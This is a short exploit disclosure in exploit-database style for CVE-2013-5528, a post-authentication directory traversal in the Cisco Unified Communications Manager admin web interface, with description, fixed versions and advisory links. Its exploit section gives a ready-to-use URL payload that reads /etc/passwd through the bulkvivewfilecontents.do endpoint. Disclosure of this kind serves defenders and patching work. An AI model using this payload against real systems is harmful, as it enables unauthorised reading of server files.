# Exploit Title: Cisco Unified Communications Manager Administrative Web Interface Directory traversal CVE-2013-5528
# Date: 7th December 2016
# Exploit Author: justpentest
# Vendor Homepage: https://software.cisco.com/
# Software Link: https://software.cisco.com/download/navigator.html?mdfid=268439621
# Version: Cisco Unified Communications Manager Administrative Web Interface unpatched version of 7.x, 8.x or 9.x software
# Contact: transform2secure@gmail.com
# CVE : CVE-2013-5528


1) Description: 
Directory traversal vulnerability exists in Cisco Unified Communications Manager Administrative Web Interface CVE-2013-5528.
The vulnerability is due to a failure to properly sanitize user-supplied input passed to a specific function. 
An attacker could exploit this vulnerability by supplying a series of directory traversal characters after authentication, allowing the attacker to designate a file outside the restricted directory to be returned. 
An exploit could allow the attacker to obtain the contents of any file that is readable by the Apache Tomcat service account.

2) Exploit:
http://justpentest.com/ccmadmin/bulkvivewfilecontents.do?filetype=samplefile&fileName=../../../../../../../../../../../../../../../../etc/passwd

3) Fixed version:
Cisco has fixed the vulnerability in 9.1.2, 10.5.2 and 11.5.x.

For more details visit http://justpentest.blogspot.in/2016/12/lfi-and-xss-on-cisco-unified-CM-CVE-2013-5528.html

4) References:
 https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/Cisco-SA-20131011-CVE-2013-5528 
https://bst.cloudapps.cisco.com/bugsearch/bug/CSCui78815  